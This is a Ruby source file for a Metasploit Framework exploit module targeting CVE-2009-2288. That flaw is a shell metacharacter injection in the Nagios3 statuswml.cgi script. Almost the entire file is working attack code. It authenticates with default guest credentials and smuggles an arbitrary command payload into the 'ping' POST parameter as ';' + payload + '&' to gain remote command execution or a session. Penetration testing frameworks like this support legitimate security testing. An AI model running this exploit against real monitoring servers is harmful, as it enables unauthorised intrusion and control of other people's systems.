##
# $Id: nagios3_statuswml_ping.rb 9829 2010-07-14 18:23:47Z hdm $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Nagios3 statuswml.cgi Ping Command Execution',
			'Description'    => %q{
					This module abuses a metacharacter injection vulnerability in the
				Nagios3 statuswml.cgi script. This flaw is triggered when shell
				metacharacters are present in the parameters to the ping and
				traceroute commands.
			},
			'Author'         => [ 'hdm' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: 9829 $',
			'References'     =>
				[
					[ 'CVE', '2009-2288' ],
					[ 'OSVDB', '55281'],
				],
			'Platform'       => ['unix'],
			'Arch'           => ARCH_CMD,
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'       => 1024,
					'DisableNops' => true,
					'BadChars'    => '<>',
					'Compat'      =>
						{
							'RequiredCmd' => 'generic perl ruby bash telnet',
						}
				},
			'Targets'        =>
				[
					[ 'Automatic Target', { }]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Jun 22 2009'))

		register_options(
			[
				OptString.new('URI',  [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
				OptString.new('USER', [true, "The username to authenticate with", "guest"]),
				OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
			], self.class)
	end

	def exploit

		print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")

		res = send_request_cgi({
			'method'    => 'POST',
			'uri'       => datastore['URI'],
			'headers'   => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
			'vars_post' =>
			{
				'ping' => ';' + payload.encoded + '&'
			}
		}, 10)


		if(not res)
			if session_created?
				print_status("Session created, enjoy!")
			else
				print_error("No response from the server")
			end
			return
		end

		if(res.code == 401)
			print_error("Please specify correct values for USER and PASS")
			return
		end

		if(res.code == 404)
			print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
			return
		end

		if(res.body =~ /Invalid host name/)
			print_error("This server has already been patched")
			return
		end

		if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
			print_status("Displaying command response")
			out = $1
			print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
			return
		end

		print_status("Unknown response")
	end

end